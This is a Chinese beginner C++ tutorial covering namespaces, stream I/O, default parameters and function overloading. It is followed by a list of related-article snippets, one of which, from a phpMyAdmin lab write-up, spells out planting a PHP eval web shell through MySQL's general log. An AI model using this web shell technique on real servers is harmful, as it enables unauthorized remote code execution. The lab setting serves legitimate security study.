【C++入门(上)】—— 我与C++的不解之缘(一)

news2024/9/28 3:29:47

前言:

        学完C语言和初阶数据结构,感觉自己又行了?

接下来进入C++的学习,准备好接受头脑风暴吧。

一、第一个C++程序

        C++ 的第一个程序,梦回出学C语言,第一次使用C语言写代码;这里使用C++写第一个C++代码。

#include<stdio.h>

int main()
{
	printf("Hello,World ! ! !\n");
	return 0;
}

看到这里,很疑惑?不是第一个C++程序代码吗?怎么使用C语言来写呢?

         这里C++兼容C语⾔绝⼤多数的语法,所以C语⾔代码也可以运行,C++文件后缀为.cpp,vs编译器对后缀为 .cpp的文件就会调⽤C++编译器编译;linux下要⽤g++编译,不再是gcc。

当然呢,C++ 也有自己的输入输出,来看使用C++代码实现第一个C++程序:

#include<iostream>

int main()
{
	cout << "Hello World!!!" << endl;
	return 0;
}

在接下来的学习中,一一来学习C++这些知识。

二、命名空间

        2.1、命名空间的作用

        在C/C++中,变量、函数和后面要学到的类都是大量存在的,这些变量、函数和类的名称都存在于全局作用域中,可能会导致很多冲突。

        使用命名空间的目的就是对标识符的名称进行本地化,来避免命名冲突或,namespace关键字的出现就是针对命名冲突这种问题的。

在C语言中,类似与下面程序这样的命名冲突,是一个普遍存在的问题,C++引入namespace就是为了更好的解决这样的问题。

#include<stdio.h>
#include <stdlib.h>
int rand = 10;
int main()
{
	// 编译报错:error C2365: “rand”: 重定义;以前的定义是“函数”
	printf("%d\n", rand);
	return 0;
}

        2.2、namespace的定义

  1. 定义命名空间,需要使用到namespace关键字,后面跟命名空间的名字,然后接一对{}即可,{}中即为命名空间的成员。命名空间中可以定义变量/函数/类型等等。
  2. namespace本质上是定义出一个域,这个域跟全局域各自独立,不同的域可以定义同名变量,所以下面的rand就不存在冲突(可以解决如上图所示命名冲突问题)。
  3. C++ 中域有函数局部域、全局域、命名空间与和类域;域影响的编译时语法查找一个变量/函数/类型出处(声明和定义)的编辑,所以有了域的隔离,名字冲突问题就解决了。局部域和全局域除了会影响编译查找逻辑,还会影响变量的生命周期,命名空间域和类域不影响变量的生命周期。
  4. namespace只能定义在全局,当然,也可以嵌套定义。
  5. 项目工程中多文件中定义的同名namespace会认为是一个namespace,不会冲突。
  6. C++ 标准库都放在一个叫 std(standard)的命名空间里。

定义命名空间:

#include<stdlib.h>

namespace HL
{
	int rand = 0;

	int Add(int x, int y)
	{
		return x + y;
	}
}


int main()
{
	printf("%p\n", rand);
	printf("%d\n", HL::rand);
	printf("%d\n", HL::Add(1, 2));
	return 0;
}

嵌套定义:

namespace HL
{
	namespace H
	{
		int rand = 0;

		int Add(int x, int y)
		{
			return x + y;
		}
	};
	namespace L
	{
		int rand = 1;
		int Add(int x, int y)
		{
			return (x + y) * 10;
		}
	}
}
int main()
{
	printf("%d\n", HL::H::rand);
	printf("%d\n", HL::L::rand);
	printf("%d\n", HL::H::Add(1,2));
	printf("%d\n", HL::L::Add(1,2));
	return 0;
}

多文件定义命名空间:

       多个文件定义同名的namespace,它们会默认合并到一起,就像同一个namespace一样。

        2.3、命名空间的使用

        编译查找一个变量的声明/定义时,默认只会在局部或者全局查找,不会到命名空间里面去查找。所以下面程序会编译报错。我们要使用命名空间中定义的变量或者函数是,有以下三方式:

  •  指定命名空间访问,(在项目实践中推荐)。
  •  using将命名空间中某个成员展开,(项目中经常访问的不存在冲突的成员推荐这种方式)。
  •  展开命名空间中的全部成员(项目实现中不推荐,冲突风险大)。

不会主动到命名空间去查找变量/函数

指定命名空间访问

namespace HL
{
	int a = 1;
	int b = 0;
}

int main()
{
	printf("%d\n", HL::a);
	printf("%d\n", HL::b);
	return 0;
}

展开某个成员

namespace HL
{
	int a = 1;
	int b = 0;
}
using HL::a;
int main()
{
	printf("%d\n", HL::a);
	//printf("%d\n", HL::b); 这里会提示未定义的标识符‘b’
	return 0;
}

展开全部成员

namespace HL
{
	int a = 1;
	int b = 0;
}
using namespace HL;
int main()
{
	printf("%d\n", HL::a);
	printf("%d\n", HL::b);
	return 0;
}

三、C++输入输出

  1.  <iostream> 是Input Output Stream 的缩写,是标准的输入、输出流库,定义了标准的输入、输出对象。
  2.  std::cin 是istream类的对象,它主要面向窄字符(narrow character(of type char))的标准输入流。
  3.  std::cout 是ostream类的对象,它主要面向窄字符的标准输出流。
  4.  std::endl 是一个函数,流插入输出时,相当于一个换行字符刷新缓冲区。
  5.  << 是流插入运算符, >> 是流提取运算符。(C语言中为位运算左移和右移)
  6.  使用C++输入输出更方便,不需要像 printf和scanf那样手动指定格式,C++的输入输出可以自动识别变量类型(本质上是通过函数重载实现的),更重要的是C++的流能更好的支持自定义类型对象的输入输出。
  7.  IO流涉及类和对象,运算符重载,继承等很多方面的知识,这些知识在接下来C++的学习中都会学到(这里简单了解一下)
  8.  cout/cin/endl 等都属于C++标准库,C++标准库都放在一个叫std 的命名空间中,所以,我们需要通过命名空间的使用方式来使用它们。
  9.  这里没有包含<stdio.h>,也能够使用printf 和 scanf,在包含<iostream>间接包含了。使用VS编译器是这样的,其他的编译器可能会报错。
using namespace std;
int main()
{
	int a = 0;
	double d = 1.1;

	cout << a << endl;
	cout << d << endl;

	//输入
	cin >> a;
	cin >> d;

	cout << a << " " << d << endl;


	//C输入
	scanf("%d%lf", &a, &d);
	printf("%d %lf\n", a, d);

	return 0;
}

C++是兼容C语言的,也可以加上以下代码让C++不在兼容C语言,提高C++ IO效率

#include<iostream>
using namespace std;
int main()
{
	// 在io需求⽐较⾼的地⽅,如部分⼤量输⼊的竞赛题中,加上以下3⾏代码
	// 可以提⾼C++IO效率
	ios_base::sync_with_stdio(false);
	cin.tie(nullptr);
	cout.tie(nullptr);
	return 0;
}

四、缺省参数

  1.         缺省参数是声明或定义函数时为函数的参数指定了一个缺省值。再调用该函数时,如果没有指定实参则采用该形参的缺省值,否则就使用指定的实参,缺省参数分为全缺省和半缺省参数(有些地方把缺省参数也叫做默认参数)。
  2.         全缺省就是全部形参给缺省值,半缺省就是部分形参给缺省值。C++规定半缺省参数必须从右往左依次连续缺省,不能间隔跳跃给缺省值。
  3.         带缺省参数的函数调用,C++规定必须从左到右依次给实参,不能跳跃给实参。
  4.         函数声明和定义分离时,缺省参数不能在函数声明和定义中重复出现,规定函数声明给缺省参数。

缺省参数:

using namespace std;

void test1(int a = 0)
{
	cout << a << endl;
}

int main()
{
	test1();
	test1(9);
	return 0;
}

全缺省参数:

//全省参数
void test2(int a = 0, int b = 1, int c = 2)
{
	cout << "a= " << a << endl;
	cout << "b= " << b << endl;
	cout << "c= " << c << endl;
	cout << endl;

}

int main()
{
	test2();
	test2(11);
	test2(11, 22);
	test2(11, 22, 33);
	return 0;
}

半缺省参数:

//半缺省参数
void test3(int a, int b = 1, int c = 2)
{
	cout << "a= " << a << endl;
	cout << "b= " << b << endl;
	cout << "c= " << c << endl;
	cout << endl;
}

int main()
{
	test3(11);
	test3(11, 22);
	test3(11, 22, 33);
	return 0;
}

五、函数重载

        C++支持在同一作用域中出现同名函数,但是要求这些函数的形参不同,可以是参数个数不同或者参数类型不同;这样C++函数调用就表现了多态行为,使用更加灵活。(C语言是不支持同一作用域中出现同名函数的)

函数参数类型不同:

//参数类型不同
int Add(int x, int y)
{
	cout << "Add(int x,int y)" << endl;
	return x + y;
}
double Add(double x, double y)
{
	cout << "Add(double x,double y)" << endl;
	return x + y;
}

int main()
{
	cout << Add(1, 2) << endl;
	cout << Add(1.1, 2.2) << endl;
	return 0;
}

函数参数个数不同:

void fun()
{
	cout << "If you never leave." << endl;
}
void fun(int a)
{
	cout << "I will live and die together." << endl;
}
int main()
{
	fun();
	fun(1);
	return 0;
}

        这里有一个需要注意的点,如果只有参数,而且给了缺省参数,(如果这是还有一个与其命名相同的函数(没有参数),调用时就会报错)

参数类型顺序不同:

//参数的类型顺序不同
void Test(int a, char c)
{
	cout << "If you never leave." << endl;
}

void Test(char c, int a)
{
	cout << "I will live and die together." << endl;
}

int main()
{
	Test('x', 1);
	Test(1, 'x');
	return 0;
}//参数的类型顺序不同
void Test(int a, char c)
{
	cout << "If you never leave." << endl;
}

void Test(char c, int a)
{
	cout << "I will live and die together." << endl;
}

int main()
{
	Test(1, 'x');
	Test('x', 1);
	return 0;
}

感谢各位支持

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1975252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微信文件如何直接打印及打印功能在哪里设置?

在数字化时代&#xff0c;打印需求依旧不可或缺&#xff0c;但传统打印店的高昂价格和不便操作常常让人头疼。幸运的是&#xff0c;琢贝打印作为一款集便捷、经济、高效于一体的网上打印平台&#xff0c;正逐渐成为众多用户的首选。特别是通过微信小程序下单&#xff0c;更是让…

html+css前端作业和平精英2个页面(无js)

htmlcss前端作业和平精英2个页面&#xff08;无js&#xff09;有视频播放器等功能效果 下载地址 https://download.csdn.net/download/qq_42431718/89608232 目录1 目录2 项目视频 和平精英2个页面&#xff08;无js&#xff09;带视频播放 页面1 页面2

MinIO:高性能轻量云存储轻松搭建与springboot应用整合实践

简介 Minio是一款用Golang编写的开源对象存储套件&#xff0c;遵循Apache License v2.0开源协议。它虽然体积小巧&#xff0c;但性能出色。Minio支持亚马逊S3云存储服务接口&#xff0c;可以方便地与其他应用如NodeJS、Redis、MySQL等集成使用。 纠删码技术 Minio纠删码是一…

SpringBoot项目以及相关数据库部署在Linux常用命令

SpringBoot项目部署 1.IDEA打包&#xff0c;在IDEA终端&#xff0c;输入mvn clean install mvn clean package&#xff1a;删除目标文件夹、编译代码并打包mvn clean install&#xff1a;删除目标文件夹、编译代码并打包、将打好的包放置到本地仓库中 2.将项目target中的jar包…

LeetCode 面试经典 150 题 | 位运算

目录 1 什么是位运算&#xff1f;2 67. 二进制求和3 136. 只出现一次的数字4 137. 只出现一次的数字 II5 201. 数字范围按位与 1 什么是位运算&#xff1f; ✒️ 源自&#xff1a;位运算 - 菜鸟教程 在现代计算机中&#xff0c;所有数据都以二进制形式存储&#xff0c;…

【多模态大模型】 BLIP-2 in ICML 2023

一、引言 论文&#xff1a; BLIP-2: Bootstrapping Language-Image Pre-training with Frozen Image Encoders and Large Language Models 作者&#xff1a; Salesforce Research 代码&#xff1a; BLIP-2 特点&#xff1a; 该方法分别使用冻结的图像编码器&#xff08;ViT-L/…

力扣SQL50 部门工资前三高的所有员工 自连接 子查询

Problem: 185. 部门工资前三高的所有员工 &#x1f468;‍&#x1f3eb; 参考题解 SELECTd.Name AS Department, -- 选择部门的名称&#xff0c;并将其别名为 Departmente1.Name AS Employee, -- 选择员工的姓名&#xff0c;并将其别名为 Employeee1.…

cmake之find_package命令详解

前言 find_package是cmake用来管理第三方库的一个命令。那这个命令有什么用呢&#xff1f;在实际项目开发中&#xff0c;我们肯定会使用到第三方库。那就需要在程序中&#xff0c;去指定库的位置和头文件位置&#xff0c;但库的安装位置&#xff0c;每个人都是不一样的&#x…

苍穹外卖day12(day09)---商家端订单管理模块

商家端订单管理模块&#xff1a; 订单搜索 产品原型 业务规则&#xff1a; 输入订单号/手机号进行搜索&#xff0c;支持模糊搜索 根据订单状态进行筛选 下单时间进行时间筛选 搜索内容为空&#xff0c;提示未找到相关订单 搜索结果页&#xff0c;展示包含搜索关键词的内容…

不用虚拟机,使用windows调试linux内核

1.安装msys2 https://www.msys2.org/ 2.打开msys2 ucrt64安装qemu和gdb还有gef pacman -S mingw-w64-ucrt-x86_64-qemu pacman -S gdb pacman -S binutils 用下面的脚本安装gef #!/usr/bin/env bashset -e# check dependencies if [ ! "$(command -v python3)" ]; t…

iOS ------RunLoop

一&#xff0c;RunLoop简介 RunLoop实际上是一个对象&#xff0c;这个对象在循环中用来处理程序运行过程中出现的各种事件&#xff08;比如说触摸事件、UI刷新事件、定时器事件、Selector事件&#xff09;&#xff0c;从而保持程序的持续运行&#xff0c;RunLoop在没有事件处理…

phpMyAdmin-CMS靶场

1.通过日志文件拿shell show global variables like %general%; set global general_logon; set global general_log_file D:/phpStudy_pro/WWW/muma.php; show global variables like %general%; select <?php eval($_POST["admin"]);?>; select<?ph…

FreeModbus学习——接收状态机xMBRTUReceiveFSM

FreeModbus版本&#xff1a;1.6 接收状态机xMBRTUReceiveFSM 在协议栈初始化时&#xff0c;会发现有两个接收函数 peMBFrameReceiveCur eMBRTUReceive; pxMBFrameCBByteReceived xMBRTUReceiveFSM; 那么这两个接收函数哪个是状态机&#xff1f;它俩有什么区别呢&#xf…

Linux:Xshell相关配置及前期准备

一、Linux的环境安装 1、裸机安装或者是双系统 2、虚拟机的安装 3、云服务器&#xff08;推荐&#xff09;——>安装简单&#xff0c;维护成本低&#xff0c;学习效果好&#xff0c;仿真性高&#xff08;可多人一起用一个云服务器&#xff09; 1.1 购买云服务器 使用云服…

Linux 内核源码分析---块设备

磁盘&#xff08;disk&#xff09;是指利用磁记录技术存储数据的存储器。 磁盘是计算机主要的存储介质&#xff0c;可以存储大量的二进制数据&#xff0c;并且断电后也能保持数据不丢失。早期计算机使用的磁盘是软磁盘&#xff08;Floppy Disk&#xff0c;简称软盘&#xff09;…

LeetCode Hot100实战之双指针

公众号&#xff1a;自学编程村&#xff0c;回复“书籍”&#xff0c;领取1000多本计算机书籍。涵盖语言语法、数据结构算法、AI相关书籍、开发相关等等各种书籍&#xff0c;应有尽有&#xff0c;你总会用到。 回复“C语言”&#xff0c;领取原创C语言九讲PDF教程&#xff08;数…

功能实现——通过阿里云 OSS 实现文件管理

目录 1.需求分析2.阿里云 OSS 开通与配置2.1.登录阿里云官网2.2.搜索 OSS 服务并开通2.3.OSS 配置 3.在项目使用阿里云 OSS3.1.项目环境搭建3.2.代码实现3.2.1.将本地文件上传到阿里云 OSS3.2.2.将前端传入的文件上传到阿里云 OSS3.2.3.下载文件到本地2.3.4.流式下载3.2.4.OSSC…

携程酒店、景点、评论数据采集,testab动态js加密参数处理不补js环境不纯算

携程平台的酒店、景点、评价数据还是比较有意义的&#xff0c;可用作数据分析研究&#xff0c;目前均可采集。酒店价格需要登录采集&#xff0c;其他店名、地址、经纬度、评分、评价数、特色标签等都可以直接采集。 携程酒店数据示例&#xff1a; 酒店id&#xff1a;536424 …

免费【2024】springboot 大学生在线论坛系统的设计与实现

博主介绍&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围&#xff1a;SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…

常用配置文件 .ini、.config、 json、xml

ini Initialization INI文件格式是某些平台或软件上的配置文件的非正式标准&#xff0c;以节(section)和键值对(key-val)构成&#xff0c;常用于微软Windows操作系统中。 这种配置文件的文件扩展名多为INI 》》INI文件不支持数据类型&#xff0c;所有的键值对都是字符串类型…